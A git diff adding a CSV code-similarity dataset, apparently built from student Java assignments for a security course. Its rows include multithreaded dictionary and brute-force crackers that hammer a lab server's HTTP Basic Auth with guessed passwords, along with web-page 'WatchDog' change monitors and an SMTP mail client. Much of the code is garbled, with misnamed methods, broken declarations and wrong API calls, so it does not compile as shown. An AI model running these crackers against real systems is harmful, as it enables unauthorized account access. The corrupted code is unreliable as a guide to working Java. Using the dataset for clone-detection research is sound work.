diff --git "a/Quora_SIM/corpus_dataset_train.csv" "b/Quora_SIM/corpus_dataset_train.csv" new file mode 100644--- /dev/null +++ "b/Quora_SIM/corpus_dataset_train.csv" @@ -0,0 +1,38421 @@ +F1,text_1 +224.java," + +import java.io.*; +import java.text.*; +import java.util.*; +import java.net.*; + +public class Dictionary extends Thread +{ + private static final String USERNAME = """"; + private static final String DICTIONARY_FILE = ""/usr/share/lib/dict/words""; + private static int NUMBER_OF_THREAD = 500; + + private static Date startDate = null; + private static Date endDate = null; + + private String address; + private String password; + + public Dictionary(String address, String password) + { + this.address = address; + this.password = password; + } + + public static void main(String[] args) throws IOException + { + if (args.length < 1) + { + System.err.println(""Invalid usage!""); + System.err.println(""Usage: java Dictionary ""); + System.exit(1); + } + + try + { + dic(args[0], USERNAME); + } + catch(Exception e) + { + e.printStackTrace(); + System.exit(1); + } + } + + public static void dic(String address, String user) + { + Dictionary [] threads = new Dictionary[NUMBER_OF_THREAD]; + int index = 0; + + startDate = new Date(); + try + { + BufferedReader buff = new BufferedReader(new FileReader(DICTIONARY_FILE)); + String password = null; + while((password = buff.readLine()) != null) + { + if (threads[index] != null && threads[index].isAlive()) + { + try + { + threads[index].join(); + } + catch(InterruptedException e) {} + } + threads[index] = new Dictionary(address, password.trim()); + threads[index].get(); + + index = (index++) % threads.length; + } + } + catch(Exception e) + { + e.printStackTrace(); + } + } + + public void run() + { + if (endDate != null) + return; + + try + { + URLConnection conn = (new URL(address)).openConnection(); + conn.setDoInput(true); + + if (login(conn, USERNAME, password)) + { + endDate = new Date(); + System.out.println(""Found the password: \""""+password+""\""!""); + SimpleDateFormat format = new SimpleDateFormat(""dd/MM/yyyy HH:mm:""); + System.out.println(""Process started at: ""+format.format(startDate)); + System.out.println(""Process started at: ""+format.format(endDate)); + double timeTaken = (double)(endDate.getTime()-startDate.getTime())/60000; + System.out.println(""Time taken: ""+timeTaken+"" minutes""); + System.exit(0); + } + else + { + System.out.println(""Password: \""""+password+""\"" Failed!""); + return; + } + } + catch(Exception e) + { + e.printStackTrace(); + } + } + + public static boolean login(URLConnection conn, String user, String pass) + { + try + { + String encodeAuth = "" ""+Base64Encoder.encode(user+"":""+pass); + conn.setRequestProperty (""Authorization"", encodeAuth); + conn.connect(); + conn.getInputStream(); + } + catch(Exception e) + { + return false; + } + return true; + } +} + + +" +175.java,"import java.io.*; +import java.net.*; +import java.util.*; + + +public class BruteForce +{ + + public static void main(String args[]) + { + + + Calendar cal = Calendar.getInstance(); + Date now=cal.getTime(); + double startTime = now.getTime(); + + String password=getPassword(startTime); + System.out.println(""The password is "" + password); + } + + public static String getPassword(double startTime) + { + char first, second, third; + String password=""""; + int requests=0; + + + for (int i=65; i<123; i++) + { + requests++; + first = (char) i; + + password = first + """"; + + + if (testPassword(password, startTime, requests)) + return password; + + for (int j=65; j<123; j++) + { + requests++; + second = (char) j; + + password = first + """" + second; + + + if (testPassword(password, startTime, requests)) + return password; + + for (int k=65; k<123; k++) + { + requests++; + third = (char) k; + + password = first + """" + second + """" + third; + + + if (testPassword(password, startTime, requests)) + return password; + + + + if (k==90) + k=96; + + } + + if (j==90) + j=96; + + } + + if (i==90) + i=96; + + } + + return password; + } + + private static boolean testPassword(String password, double startTime, int requests) + { + try + { + + + URL url=new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); + + HttpURLConnection connection; + + String userPassword = "":"" + password; + + + String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes()); + + try + { + + connection = (HttpURLConnection) url.openConnection(); + + connection.setRequestProperty(""Authorization"", "" "" + encoding); + + + int status=connection.getResponseCode(); + + System.out.println(password + requests); + + if (status==200) + { + System.out.println(""It took "" + getTime(startTime) + "" milliseconds find the password.""); + System.out.println("" were "" + requests + "" requests .""); + + return true; + } + + return false; + + } + + catch (IOException ioe) + { + System.out.print(ioe); + return false; + } + + } + + catch (IOException MalformedURLException) + { + System.out.print(""Invalid URL""); + return false; + } + } + + + private static double getTime(double startTime) + { + + + Calendar cal = Calendar.getInstance(); + Date now=cal.getTime(); + double endTime = now.getTime(); + + return endTime-startTime; + + } + +} +" +141.java," + + + +import java.net.*; +import java.io.*; +import java.util.*; + +public class WatchDog +{ + + public WatchDog() + { + } + + public static void main(String[] args) + { + try + { + if( args.length != 2 ) + { + System.out.println(""USAGE: java WatchDog ""); + System.exit(0); + } + + Runtime.getRuntime().exec(""rm LastWatch.html""); + Runtime.getRuntime().exec(""rm WatchDog.ini""); + + Thread.sleep(1000); + + while (true) + { + WatchDog myWatchDog = new WatchDog(); + myWatchDog.readHTML(args[0], args[1]); + + Runtime.getRuntime().exec(""rm Report.txt""); + Runtime.getRuntime().exec(""rm diffReport.txt""); + Runtime.getRuntime().exec(""rm NewWatch.txt""); + + System.out.println("" check after 2 ... press Ctrl-Z suspend WatchDog...""); + + Thread.sleep(2*60*1000); + + + } + } + catch (Exception e) + { + e.printStackTrace(); + } + } + + void readHTML (String strHTML, String userName) + { + + Properties myProp = loadLastMD5 (); + + try + { + + System.out.println(""Running WatchDog \"""" + strHTML + ""\"" ...... Please Wait....""); + + URL url = new URL (strHTML); + + String strHost = url.getHost().toLowerCase(); + + Runtime r = Runtime.getRuntime(); + + + + + + + + + InputStream in = url.openStream(); + + DataInputStream bf = new DataInputStream (in); + + FileOutputStream fOut = new FileOutputStream (""Watch.html""); + DataOutputStream dOut = new DataOutputStream (fOut); + + Vector vtrImages = new Vector (); + + while ( bf!= null) + { + + String str = bf.readLine(); + + if (str == null) + break; + + + if ( str.toLowerCase().indexOf(""img"") > 0 ) + { + int indexImg = str.toLowerCase().indexOf(""img""); + int indexImgUrl = str.toLowerCase().indexOf(""\"""", indexImg); + int indexImgUrlEnd = str.toLowerCase().indexOf(""\"""", indexImgUrl+1); + + String strImage = str.toLowerCase().substring(indexImgUrl+1, indexImgUrlEnd); + + if (strImage.toLowerCase().indexOf(strHost) > 0) + { + int index = strImage.toLowerCase().indexOf(strHost) + strHost.length(); + strImage = strImage.toLowerCase().substring(index); + } + + if (!vtrImages.contains(strImage.toLowerCase())) + vtrImages.add (strImage.toLowerCase()); + } + + dOut.writeBytes(str+""\n""); + } + + dOut.print(); + fOut.print(); + + + + for (int i=0 ; i < vtrImages.size() ; i ++) + { + + + r.exec(""wget "" + strHost + vtrImages.get(i).toString().trim()); + } + + Thread.sleep(2000); + + String [] command = {""//sh"", ""-c"",""md5sum *.* > NewWatch.txt""}; + + Runtime.getRuntime().exec(command); + + Thread.sleep(1000); + + FileInputStream fIn = new FileInputStream (""NewWatch.txt""); + DataInputStream = new DataInputStream (fIn); + + Properties prop = new Properties (); + + while ( bf != null) + { + + String str = bf.readLine(); + + if (str == null) + break; + + int index = str.indexOf("" ""); + + + if (fileDownloaded (str.substring(index + 1), vtrImages) || str.substring(index + 1).trim().equalsIgnoreCase(""Watch.html"") ) + prop.setProperty(str.substring(index + 1).trim().toLowerCase(), str.substring(0, index).trim().toLowerCase()); + } + + + fIn.close(); + + int isAnyChange = GenerateChangeFile (strHTML, myProp, prop); + + if (isAnyChange > 0) + { + + if (isAnyChange == 2) + { + File f = new File (""LastWatch.html""); + + if (! f.exists()) + { + f.createNewFile(); + Thread.sleep(1000); + } + + String [] diffCommand = {""//sh"", ""-c"",""diff Watch.html LastWatch.html > diffReport.txt""}; + + Runtime.getRuntime().exec(diffCommand); + + Thread.sleep(2000); + + FileInputStream feIn = new FileInputStream (""diffReport.txt""); + DataInputStream deIn = new DataInputStream (feIn); + + FileOutputStream feOut = new FileOutputStream (""Report.txt"", true); + DataOutputStream deOut = new DataOutputStream (feOut); + + deOut.writeBytes(""\n\n\nDifferences in Target :\n\n""); + + while (deIn != null) + { + String str = deIn.readLine(); + + if (str == null) + break; + + deOut.writeBytes(str + ""\n""); + } + + deOut.print(); + feOut.print(); + + deIn.close(); + feIn.close(); + } + + String [] mailCommand = {""//sh"", ""-c"",""less Report.txt | mail "" + userName}; + + Runtime.getRuntime().exec(mailCommand); + + System.out.println(""Mailing difference""); + } + else + System.out.println("" difference detected""); + + + Runtime.getRuntime().exec(""mv Watch.html LastWatch.html""); + + } + catch (Exception e) + { + e.printStackTrace(); + } + + } + + private Properties loadLastMD5 () + { + Properties myProp = new Properties (); + + try + { + myProp.load(new FileInputStream (""WatchDog.ini"")); + } + catch (Exception e) + { + } + + return myProp; + } + + private boolean fileDownloaded (String strFile, Vector vtrImages) + { + for ( int i = 0 ; i < vtrImages.size() ; i ++ ) + { + String strImage = vtrImages.get(i).toString().trim(); + + if ( strImage.toLowerCase().indexOf(strFile.toLowerCase().trim()) > -1 ) + return true; + } + + return false; + } + + private int GenerateChangeFile (String strUrl, Properties myProp, Properties prop) + { + int change = 0; + boolean boolMainChange = false; + + try + { + FileOutputStream myOut = new FileOutputStream (""WatchDog.ini""); + DataOutputStream myIniOut = new DataOutputStream (myOut); + + FileOutputStream fOut = new FileOutputStream (""Report.txt""); + DataOutputStream dOut = new DataOutputStream (fOut); + + dOut.writeBytes(""Report of changes for \"""" + strUrl + ""\"":\n\n\n\n\n""); + + Enumeration e = prop.keys(); + + while (e.hasMoreElements()) + { + String file = e.nextElement().toString().toLowerCase().trim(); + + Runtime.getRuntime().exec(""rm "" + file); + + myIniOut.writeBytes(file.toLowerCase() + ""="" + prop.getProperty(file) + ""\n""); + + if (myProp.containsKey(file)) + { + String OldValue = myProp.getProperty(file); + String newValue = prop.getProperty(file); + + if (OldValue != null && newValue != null) + { + if (!OldValue.trim().equals(newValue.trim())) + { + if (file.toLowerCase().trim().equalsIgnoreCase(""Watch.html"")) + { + dOut.writeBytes(""Traget html has been changed\n""); + boolMainChange = true; + } + else + dOut.writeBytes(""File \"""" + file + ""\"" has been changed\n""); + + change = 1; + } + } + } + else + { + if (file.toLowerCase().trim().equalsIgnoreCase(""Watch.html"")) + { + dOut.writeBytes(""Target html is checked for first time\n""); + boolMainChange = true; + } + else + dOut.writeBytes(""File \"""" + file + ""\"" is checked for first time and is new\n""); + + change = 1; + } + } + + dOut.print(); + fOut.print(); + + myIniOut.close(); + myOut.close(); + } + catch (Exception ex) + { + ex.printStackTrace (); + } + + if (boolMainChange) + return 2; + + return change; + } +}" +167.java," +package java.httputils; + +import java.io.IOException; +import java.net.MalformedURLException; +import java.util.ArrayList; +import java.util.Iterator; + + +public class RunnableHttpRequest extends Thread +{ + protected String targetURL = ""http://localhost:8080/""; + protected int requestCount = 1; + protected ArrayList timingList = new ArrayList(); + protected HttpRequestClient req; + Boolean finished = new Boolean(false); + HttpRequestThreadPool pool; + + + public void run() + { + try + { + for (int i = 0; i < getRequestCount() && !getFinished().booleanValue(); i++) + { + try + { + req = + new HttpRequestClient(getTargetURL()); + + + } + catch (MalformedURLException e) + { + e.printStackTrace(); + break; + } + catch (IOException e) + { + e.printStackTrace(); + break; + } + + } + } + finally + { + i = 0; + Iterator iter = getTimingList().iterator(); + while (iter.hasNext()) + { + element e = iter.next(); + i+= element.longValue(); + + } + System.out.println( + ""*** Average Request processing time (milliseconds): "" ); + + getPool().setThreadAverageTime(this, getTimingList().size()); + + setFinished(new Boolean(true)); + } + } + + + + public RunnableHttpRequest() + { + super(); + } + + + + public RunnableHttpRequest( + String targetURL, + int requestCount, + String threadName, + ThreadGroup group, + HttpRequestThreadPool pool) + { + super(group, threadName); + setTargetURL(targetURL); + setRequestCount(requestCount); + setPool(pool); + } + + + public int getRequestCount() + { + return requestCount; + } + + + public String getTargetURL() + { + return targetURL; + } + + + public void setRequestCount(int i) + { + requestCount = i; + } + + + public void setTargetURL(String string) + { + targetURL = string; + } + + public static void main(String[] args) + { + RunnableHttpRequest client = null; + try + { + ThreadGroup group = new ThreadGroup(""testGroup1""); + client = new RunnableHttpRequest( + args[0], + Integer.parseInt(args[1]), + ""test1"", + group, + null); + client.close(); + + try + { + while (!client.getFinished().booleanValue()) + { + sleep(100); + } + } + catch (InterruptedException e) + { + e.printStackTrace(); + } + } + finally + { + if (client != null) + { + System.out.println( + ""Request processing time (milliseconds): "" + + client.getTimingList()); + } + } + } + + public HttpRequestClient getReq() + { + return req; + } + + + public ArrayList getTimingList() + { + return timingList; + } + + + public void setReq(HttpRequestClient client) + { + req = client; + } + + + public void setTimingList(ArrayList list) + { + timingList = list; + } + + + Boolean getFinished() + { + return finished; + } + + + synchronized void setFinished(Boolean boolean1) + { + finished = boolean1; + } + + + public HttpRequestThreadPool getPool() + { + return pool; + } + + + public void setPool(HttpRequestThreadPool pool) + { + this.pool = pool; + } + +} +" +203.java," +import java.net.*; +import java.io.*; +import java.util.*; + +public class MailClient +{ + private String host; + private int port; + private String message; + + + public MailClient( String host, int port, Vector lineNumbers) + { + + this.host = host; + this.port = port; + + + StringBuffer buf = new StringBuffer("" www.cs.rmit.edu./students has been changed!\nThe changes detected in the following line numbers:\n ""); + for( int i = 0; i < lineNumbers.size(); i++) + { + buf.append( lineNumbers.elementAt( i)); + buf.append("", ""); + } + message = buf.toString(); + } + + public void connect() + { + + try + { + Socket client = new Socket( host, port); + handleConnection( client); + } + catch ( UnknownHostException uhe) + { + System.out.println(""Unknown host: "" + host); + uhe.printStackTrace(); + } + catch (IOException ioe) + { + System.out.println(""IOException: "" + ioe); + ioe.printStackTrace(); + } + } + + private void handleConnection(Socket client) + { + try + { + PrintWriter out = new PrintWriter( client.getOutputStream(), true); + InputStream in = client.getInputStream(); + byte[] response = new byte[1000]; + + in.send( response); + out.println(""HELO ""+host); + int numBytes = in.get( response); + System.out.write(response, 0, numBytes); + out.println(""MAIL FROM: watch.dog@cs.rmit.edu.""); + numBytes = in.get( response); + System.out.write(response, 0, numBytes); + out.println(""RCPT : @cs.rmit.edu.""); + numBytes = in.get( response); + System.out.write(response, 0, numBytes); + out.println(""DATA""); + numBytes = in.get( response); + System.out.write(response, 0, numBytes); + out.println( message+""\n.""); + numBytes = in.get( response); + System.out.write(response, 0, numBytes); + out.println(""QUIT""); + client.connect(); + } + catch(IOException ioe) + { + System.out.println(""Couldn't make connection:"" + ioe); + } + } + + public static void main( String[] args) + { + Vector v = new Vector(); + v.add( new Integer(5)); + v.add( new Integer(12)); + MailClient c = new MailClient( ""mail.cs.rmit.edu."", 25, v); + c.connect(); + } +} + + + + +" +193.java," + + + + +import java.io.IOException; +import java.net.*; + +import java.io.*; +import java.util.*; + + + +public class Dictionary + +{ + + + static URL url = null; + static URLConnection urlConnection; + static InputStream urlStream; + + static String strOneLetterWords[]; + static String strTwoLetterWords[]; + static String strThreeLetterWords[]; + + static String strExceptionPassword[]; + + static String strLastPasswordTested; + static String username = """"; + + static int intNumberOfOneLetterWords = 0; + static int intNumberOfTwoLetterWords = 0; + static int intNumberOfThreeLetterWords = 0; + + static int intExceptionCount = -1; + + static int intNumberOfConnectionAttempts = 0; + static int intTotalNumberOfWordsInFile = 0; + + + + + public static void main (String args[]) + + { + + + + + Calendar calStart; + Calendar calFinish; + Date dateStart; + Date dateFinish; + lngStart; + lngFinish; + + + + String strLine; + String strTextFileName = ""/usr/share/lib/dict/words""; + + boolean boolPasswordFound = false; + boolean boolExceptionPasswordsTestedAgain = false; + + + + + String urlString + = ""http://sec-crack.cs.rmit.edu./SEC/2/index.php""; + + int intCounter1; + int intCounter2; + int intCounter3; + + int intTotalNumberOfWordsChecked = 0; + + + + + + calStart = new GregorianCalendar(); + dateStart = calStart.getTime(); + lngStart = dateStart.getTime(); + + + + + + + + + strExceptionPassword = new String[5000]; + + + + + getNumberOfVariousLengthsOfWords(strTextFileName); + + + + + strOneLetterWords = new String[intNumberOfOneLetterWords]; + strTwoLetterWords = new String[intNumberOfTwoLetterWords]; + strThreeLetterWords = new String[intNumberOfThreeLetterWords]; + + + + + populateTheDifferentLengthArrays(strTextFileName); + + + + + if (!boolPasswordFound) + { + + + + + + intCounter1 = 0; + + while ( (!boolPasswordFound) && (intCounter1 < intNumberOfOneLetterWords) ) + { + + boolPasswordFound = true; + + boolPasswordFound = passwordWasFound(urlString, + strOneLetterWords[intCounter1], + boolPasswordFound); + + intCounter1++; + + intTotalNumberOfWordsChecked++; + + } + + + + + + + intCounter1 = 0; + + while ( (!boolPasswordFound) && (intCounter1 < intNumberOfTwoLetterWords) ) + { + + boolPasswordFound = true; + + boolPasswordFound = passwordWasFound(urlString, + strTwoLetterWords[intCounter1], + boolPasswordFound); + + intCounter1++; + + intTotalNumberOfWordsChecked++; + + } + + + + + + + intCounter1 = 0; + + while ( (!boolPasswordFound) && (intCounter1 < intNumberOfThreeLetterWords) ) + { + + boolPasswordFound = true; + + boolPasswordFound = passwordWasFound(urlString, + strThreeLetterWords[intCounter1], + boolPasswordFound); + + intCounter1++; + + intTotalNumberOfWordsChecked++; + + } + + + + + + + + intCounter1 = 0; + + while ( (!boolPasswordFound) && (intCounter1 < intNumberOfOneLetterWords) ) + { + + intCounter2 = 0; + + while ( (!boolPasswordFound) && (intCounter2 < intNumberOfOneLetterWords) ) + { + + boolPasswordFound = true; + + boolPasswordFound + = passwordWasFound(urlString, + strOneLetterWords[intCounter1] + + strOneLetterWords[intCounter2], + boolPasswordFound); + + intCounter2++; + + intTotalNumberOfWordsChecked++; + + } + + + intCounter1++; + + } + + + + + + + + + + intCounter1 = 0; + + while ( (!boolPasswordFound) && (intCounter1 < intNumberOfOneLetterWords) ) + { + + intCounter2 = 0; + + while ( (!boolPasswordFound) && (intCounter2 < intNumberOfOneLetterWords) ) + { + + intCounter3 = 0; + + while ( (!boolPasswordFound) && (intCounter3 < intNumberOfOneLetterWords) ) + { + + boolPasswordFound = true; + + boolPasswordFound + = passwordWasFound(urlString, + strOneLetterWords[intCounter1] + + strOneLetterWords[intCounter2] + + strOneLetterWords[intCounter3], + boolPasswordFound); + + intCounter3++; + + intTotalNumberOfWordsChecked++; + + } + + + intCounter2++; + + } + + + intCounter1++; + + } + + + + + + + + intCounter1 = 0; + + while ( (!boolPasswordFound) && (intCounter1 < intNumberOfOneLetterWords) ) + { + + intCounter2 = 0; + + while ( (!boolPasswordFound) && (intCounter2 < intNumberOfTwoLetterWords) ) + { + + boolPasswordFound = true; + + boolPasswordFound + = passwordWasFound(urlString, + strOneLetterWords[intCounter1] + + strTwoLetterWords[intCounter2], + boolPasswordFound); + + intCounter2++; + + intTotalNumberOfWordsChecked++; + + } + + + intCounter1++; + + } + + + + + + + + intCounter1 = 0; + + while ( (!boolPasswordFound) && (intCounter1 < intNumberOfTwoLetterWords) ) + { + + intCounter2 = 0; + + while ( (!boolPasswordFound) && (intCounter2 < intNumberOfOneLetterWords) ) + { + + boolPasswordFound = true; + + boolPasswordFound + = passwordWasFound(urlString, + strTwoLetterWords[intCounter1] + + strOneLetterWords[intCounter2], + boolPasswordFound); + + intCounter2++; + + intTotalNumberOfWordsChecked++; + + } + + + intCounter1++; + + } + + + + + + + + + + intCounter1 = 0; + + while ( (!boolPasswordFound) && (intCounter1 <= intExceptionCount) ) + { + + boolExceptionPasswordsTestedAgain = true; + boolPasswordFound = true; + + boolPasswordFound + = passwordWasFound(urlString, + strExceptionPassword[intCounter1], + boolPasswordFound); + + intCounter1++; + + intTotalNumberOfWordsChecked++; + + } + + } + + + + + + calFinish = new GregorianCalendar(); + dateFinish = calFinish.getTime(); + lngFinish = dateFinish.getTime(); + + + + + System.out.println(); + System.out.println(); + + + System.out.println(); + System.out.println(""Length of time for processing: "" + + ((lngFinish - lngStart) / 1000) + + "" seconds""); + + + System.out.println(); + System.out.println(""Total number of words in dictionary file = "" + intTotalNumberOfWordsInFile); + + + System.out.println(); + System.out.println(""Input file: number of words with one letter length = "" + intNumberOfOneLetterWords); + System.out.println(""Input file: number of words with two letter length = "" + intNumberOfTwoLetterWords); + System.out.println(""Input file: number of words with three letter length = "" + intNumberOfThreeLetterWords); + + + System.out.println(); + System.out.println(""Number of connection attempts = "" + intTotalNumberOfWordsChecked); + + + System.out.println(); + System.out.println(""Number of exceptions thrown = "" + (intExceptionCount + 1)); + System.out.println(); + + + if (intExceptionCount >= 0) + { + System.out.print(""These passwords WERE ""); + + if (boolExceptionPasswordsTestedAgain) + System.out.print(""tested again.""); + else + System.out.print(""NOT tested again.""); + + System.out.println(); + } + + + if (boolPasswordFound) + { + System.out.println(""The correct password WAS found - this password is '"" + + strLastPasswordTested + ""'.""); + } + else + { + System.out.println(""The correct password WAS NOT found.""); + } + + System.out.println(); + + } + + + + + + + + static void getNumberOfVariousLengthsOfWords(String TextFileName) + + { + + FileReader reader; + BufferedReader inTextFile = null; + + String strLine; + int intWordLength; + + + + try + { + + + + + + reader = new FileReader(TextFileName); + + + + + + inTextFile = new BufferedReader(reader); + + + strLine = inTextFile.readLine(); + + + while (strLine != null) + { + + intTotalNumberOfWordsInFile++; + + strLine = strLine.trim(); + + intWordLength = strLine.length(); + + + + + if (intWordLength == 1) + intNumberOfOneLetterWords++; + + + + else if (intWordLength == 2) + intNumberOfTwoLetterWords++; + + + + else if (intWordLength == 3) + intNumberOfThreeLetterWords++; + + + strLine = inTextFile.readLine(); + + } + + } + + catch(FileNotFoundException e) + { + + + + System.out.println(); + System.out.println(""The file '"" + TextFileName + ""' cannot found.""); + System.out.println(); + + } + + catch(Exception e) + { + + } + + finally + { + + try + { + inTextFile.print(); + } + catch(Exception e) + { + } + + inTextFile = null; + reader = null; + + } + + } + + + + + + + static void populateTheDifferentLengthArrays(String TextFileName) + + { + + FileReader reader; + BufferedReader inTextFile = null; + + String strLine; + int intWordLength; + + int intCountOfOneLetterWords = -1; + int intCountOfTwoLetterWords = -1; + int intCountOfThreeLetterWords = -1; + + + + try + { + + + + + + reader = new FileReader(TextFileName); + + + + + + inTextFile = new BufferedReader(reader); + + + strLine = inTextFile.readLine(); + + + while (strLine != null) + { + + strLine = strLine.trim(); + intWordLength = strLine.length(); + + + + + if (intWordLength == 1) + { + intCountOfOneLetterWords++; + strOneLetterWords[intCountOfOneLetterWords] = strLine; + } + + + + else if (intWordLength == 2) + { + + intCountOfTwoLetterWords++; + strTwoLetterWords[intCountOfTwoLetterWords] = strLine; + } + + + + else if (intWordLength == 3) + { + intCountOfThreeLetterWords++; + strThreeLetterWords[intCountOfThreeLetterWords] = strLine; + } + + strLine = inTextFile.readLine(); + + } + + } + + catch(FileNotFoundException e) + { + + + + System.out.println(); + System.out.println(""The file '"" + TextFileName + ""' cannot found.""); + System.out.println(); + + } + + catch(Exception e) + { + System.out.println(""Exception thrown....""); + System.err.println(e); + } + + finally + { + + try + { + inTextFile.print(); + } + catch(Exception e) + { + } + + inTextFile = null; + reader = null; + + } + + } + + + + + + + + static boolean passwordWasFound(String urlString, + String password, + boolean retVal) + + { + + String strEncodeInput = username + "":"" + password; + boolean returnValue = retVal; + boolean boolExceptionThrown = false; + + + + try + { + + strLastPasswordTested = password; + + intNumberOfConnectionAttempts++; + + url = new URL(urlString); + + String encoding = new url.misc.BASE64Encoder().encode (strEncodeInput.getBytes()); + + + System.out.print(""username = "" + + username + + "" "" + + ""password = "" + + password); + + + + HttpURLConnection urlConnection = (HttpURLConnection)url.openConnection(); + + urlConnection.setRequestProperty(""Authorization"", + "" "" + encoding); + + System.out.println("" response = "" + urlConnection.getResponseCode()); + + if (urlConnection.getResponseCode() == 401) + { + returnValue = false; + } + + } + + catch (MalformedURLException m) + { + boolExceptionThrown = true; + returnValue = false; + + System.err.println(m); + System.out.println(""Malformed URL Exception error""); + } + + catch (IOException io) + { + boolExceptionThrown = true; + returnValue = false; + + System.out.println(""IOException error""); + System.err.println(io); + } + + catch (Exception e) + { + boolExceptionThrown = true; + returnValue = false; + + System.out.println(""General exception.....""); + System.err.println(e); + } + + finally + { + urlConnection = null; + url = null; + } + + + if (boolExceptionThrown) + { + intExceptionCount++; + strExceptionPassword[intExceptionCount] = password; + } + + + return returnValue; + + } + +}" +176.java," +public class ImageFile +{ + private String imageUrl; + private int imageSize; + + public ImageFile(String url, int size) + { + imageUrl=url; + imageSize=size; + } + + public String getImageUrl() + { + return imageUrl; + } + + public int getImageSize() + { + return imageSize; + } +} +" +033.java," + +class WebPage +{ + + + private boolean success = false; + + private String pageContents= """"; + + + + public WebPage() + { + } + + + public void setSuccess (boolean inSuccess) + { + success = inSuccess; + } + + + public boolean getSuccess() + { + return success; + } + + + public void setPageContents (String inPage) + { + pageContents = inPage; + } + + + public String getPageContents() + { + return pageContents; + } +} +" +169.java,"package java.httputils; + +import java.io.BufferedInputStream; +import java.io.BufferedOutputStream; +import java.io.BufferedReader; +import java.io.FileInputStream; +import java.io.FileNotFoundException; +import java.io.FileOutputStream; +import java.io.FileReader; +import java.io.IOException; +import java.io.OutputStream; + + +public class WatchDog +{ + protected final int MILLIS_IN_HOUR = (60 * 60 * 1000); + protected int interval = 24; + protected String URL = ""http://www.cs.rmit.edu./students/""; + protected String fileName = ""WatchDogContent.html""; + protected String command = ""./alert_mail.sh""; + protected String savedContent; + protected String retrievedContent; + + + public WatchDog() + { + super(); + } + + + public void run() throws Exception + { + HttpRequestClient client = null; + + + System.out.println(getClass().getName() + + ""Retrieving baseline copy of: "" + getURL()); + client = new HttpRequestClient(getURL()); + retrievedContent = client.getContent().toString(); + + System.out.println(getClass().getName() + + ""Writing baseline content : "" + getFileName()); + writeFile(); + + while (true) + { + + System.out.println(getClass().getName() + + "" Sleeping for hours: "" + getInterval()); + Thread.currentThread().sleep(MILLIS_IN_HOUR * getInterval()); + + + System.out.println(getClass().getName() + + "" Retrieving: "" + getURL()); + + client = new HttpRequestClient(getURL()); + retrievedContent = client.getContent().toString(); + + + System.out.println(getClass().getName() + + "" saved copy: "" + getURL()); + savedContent = readFile(); + + + System.out.println(getClass().getName() + + "" Comparing saved and retrieved. ""); + if (!savedContent.equals(retrievedContent)) + { + + System.out.println(getClass().getName() + + "" Difference found. ""); + + writeTempFile(); + runCommand(); + } + + + writeFile(); + } + } + + + + public String runCommand() + { + String cmd = getCommand() + "" \"""" + getURL() + ""\""""; + try + { + Runtime r = Runtime.getRuntime(); + System.out.println(getClass().getName() + + "" Executing: "" + cmd); + + Process proc = r.exec(cmd); + } + catch (Exception e) + { + try + { + Runtime r = Runtime.getRuntime(); + Process proc = r.exec(cmd); + } + catch (Exception ex) + { + System.out.println(getClass().getName() + + "" Could not run :"" + + getCommand() + + "" because : "" + + ex.getMessage()); + } + } + + return ""Executed successfully""; + } + + + protected String readFile() throws FileNotFoundException + { + BufferedInputStream input = null; + FileInputStream file = null; + StringBuffer content = new StringBuffer(); + try + { + file = new FileInputStream(getFileName()); + + input = new BufferedInputStream(file); + + } + catch (FileNotFoundException x) + { + System.err.println(""File not found: "" + getFileName()); + throw x; + } + + try + { + int ch; + while ((ch = input.get()) != -1) + { + content.append((char)ch); + } + } + catch (IOException x) + { + x.printStackTrace(); + } + finally + { + if (input != null) + { + try + { + input.get(); + file.get(); + } + catch (IOException e) + { + } + } + } + return content.toString(); + } + + + protected void writeFile() throws Exception + { + OutputStream os = null; + try + { + os = new BufferedOutputStream( + new FileOutputStream(getFileName(), false)); + os.write(getRetrievedContent().getBytes()); + } + catch (FileNotFoundException e) + { + e.printStackTrace(); + throw e; + } + catch (IOException e) + { + e.printStackTrace(); + throw e; + } + finally + { + if (os != null) + { + try + { + os.close(); + } + catch (IOException e) + { + } + } + } + } + + + protected void writeTempFile() throws Exception + { + OutputStream os = null; + try + { + os = new BufferedOutputStream( + new FileOutputStream("".html"", false)); + os.write(getRetrievedContent().getBytes()); + } + catch (FileNotFoundException e) + { + e.printStackTrace(); + throw e; + } + catch (IOException e) + { + e.printStackTrace(); + throw e; + } + finally + { + if (os != null) + { + try + { + os.close(); + } + catch (IOException e) + { + } + } + } + } + + public static void main(String[] args) + { + WatchDog watchDog = new WatchDog(); + + if (args.length < 3) + { + watchDog.printUsage(); + } + + + System.out.println(watchDog.getClass().getName() + + "": Initialising with "" + + args[0] + "" \n"" + + args[1] + "" \n"" + + args[2] + "" \n""); + watchDog.setURL(args[0]); + watchDog.setInterval(Integer.parseInt(args[1])); + watchDog.setCommand(args[2]); + + + try + { + System.out.println(watchDog.getClass().getName() + "": Invoking the run method.""); + watchDog.run(); + } + catch (Exception e) + { + e.printStackTrace(); + } + } + + public String printUsage() + { + StringBuffer s = new StringBuffer(); + + s.append(""** WatchDog proper usage **\n\n""); + s.append( + this.getClass().getName() + + "" \n\n""); + + return s.toString(); + } + + + public String getCommand() + { + return command; + } + + + public String getFileName() + { + return fileName; + } + + + public int getInterval() + { + return interval; + } + + + public String getURL() + { + return URL; + } + + + public void setCommand(String string) + { + command = string; + } + + + public void setFileName(String string) + { + fileName = string; + } + + + public void setInterval(int i) + { + interval = i; + } + + + public void setURL(String string) + { + URL = string; + } + + + public String getRetrievedContent() + { + return retrievedContent; + } + + + public String getSavedContent() + { + return savedContent; + } + + + public void setRetrievedContent(String string) + { + retrievedContent = string; + } + + + public void setSavedContent(String string) + { + savedContent = string; + } + +} +" +195.java," +import java.io.*; +import java.lang.Object; + +public class WatchDog +{ + + + public static void main(String args[])throws Exception + { + + for(;;) + { + + String s[] = {""/usr/local//tcsh"", ""-c"", ""diff copy1 copy2 > diff.html""}; + + String s1[] = {""/usr/local//tcsh"", ""-c"", ""mailx -s \""SEC Assignment2 part2\"" < diff.html""}; + String s2[] = {""/usr/local//tcsh"", ""-c"", ""mv www.cs.rmit.edu./images/*.* copy1""}; + String s3[] = {""/usr/local//tcsh"", ""-c"", ""mv www.cs.rmit.edu./students/*.* copy1""}; + String s4[] = {""/usr/local//tcsh"", ""-c"", ""mv www.cs.rmit.edu./images/*.* copy2""}; + String s5[] = {""/usr/local//tcsh"", ""-c"", ""mv www.cs.rmit.edu./students/*.* copy2""}; + + Process p4; + Process p5; + + Process c1 = Runtime.getRuntime().exec(""mkdir copy1""); + c1.waitFor(); + Process c2 = Runtime.getRuntime().exec(""mkdir copy2""); + 